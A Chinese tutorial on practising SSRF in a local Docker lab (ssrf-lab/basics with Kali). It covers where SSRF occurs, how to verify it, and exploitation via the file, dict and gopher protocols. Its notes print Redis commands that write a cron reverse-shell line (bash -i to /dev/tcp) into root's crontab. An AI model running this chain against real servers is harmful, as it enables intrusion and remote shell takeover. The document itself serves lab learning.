SSRF漏洞实践(Kali+Docker+ssrf-lab)

SSRF(Server-Side Request Forgery，服务器端请求伪造)：是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。

SSRF形成的原因：大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容，加载指定地址的图片，下载等等。

SSRF漏洞的寻找：

• 社交分享功能：获取超链接的标题等内容进行显示
• 转码服务：通过url地址把原地址的网页内容调优使其适合收集屏幕浏览
• 在线翻译：给网址翻译对应网页内容
• 图片加载/下载：例如富文本编辑器中的点击下载图片到本地；通过url地址加载或下载图片
• 图片/文章收藏功能：主要网站会取url地址中title以及文本的内容作为显示以求一个好的用户体验
• 云服务商：它会远程执行一些命令来判断网络是否存活等，所以如果可以捕获相应信息，就可以进行SSRF测试
• 网站采集，网站抓取的地方：一些网站会针对你输入的url进行一些信息采集工作
• 数据库内置功能：数据库的比如mongodb的copyDatabase函数
• 邮件系统：比如接收邮件服务器地址
• 编码处理，属性信息处理，文件处理：比如ffpmg，ImageMagick，docx，pdf，xml处理器等
• 未公开的api实现以及其他扩展调用URL的功能：可以利用google 语法加上这些关键字去寻找SSRF漏洞，一些的url中的关键字：share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
• 从远程服务器请求资源（upload from url 如discuz！；import & expost rss feed 如web blog；使用了xml引擎对象的地方 如wordpress xmlrpc.php）

SSRF漏洞验证：

1、因为SSRF漏洞是构造服务器发送请求的安全漏洞，所以我们可以通过抓包分析发送的请求是否是由服务器发送的来判断是否存在SSRF漏洞。

2、在页面源码中查找访问的资源地址，如果该资源地址类型为http://www.xxx.com/a.php?image=(地址)的可能存在SSRF漏洞。

SSRF漏洞测试：

• 测试环境：docker，ssrf-lab/basics，kali

• 搭建环境：

  ① 进入ssrf-lab/basics，终端中输入docker build -t ssrf-lab/basic .

  ② docker run -d -p 8999:80 ssrf-lab/basic # 创建容器

• SSRF漏洞环境：127.0.0.1:8999

查看是否有漏洞：输入http://127.0.0.1，通过burp抓包可以看出参数被传到了handler的参数上，因此可以对该参数进行修改查看是否具有SSRF漏洞。

file协议：通过file协议可以读取主机内任意文件。

dict协议：通过dict协议可获取本地redis服务配置信息。

gopher协议：通过gopher协议可以反弹shell。利用gopher连接redis，执行redis命令，将反弹shell的语句写入cron，使得受害者主机主动向你的主机弹shell。（注：用gopher进行发送的时候要对原语句进行url编码）
踩坑笔记：

• ssrf-lab里面没有redis，因此利用redis反弹shell的时候要先安装redis。

• 利用docker安装的ssrf-lab里面的环境没有cron，无法利用cron执行反弹shell的程序，需要安装cron。

• redis写入反弹shell的语句如下（有时候会需要加一个SHELL=/bin/bash，不然cron无法执行）：

  # 将反弹shell的语句写给1的键里面
  set 1 ”\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/1234 0>&1\n\n“
  # 设置redis的目录为cron
  config set dir /var/spool/cron
  # 设置redis储存的db文件为root
  config set dbfilename root
  # 将redis中的所有键的值写入root并保存
  save
  

  在redis中执行的命令如下：
  

• redis写入数据文件的时候会自动加一个头部，导致cron无法执行，目前未解决。
  

• 运行正常的结果应该如下图所示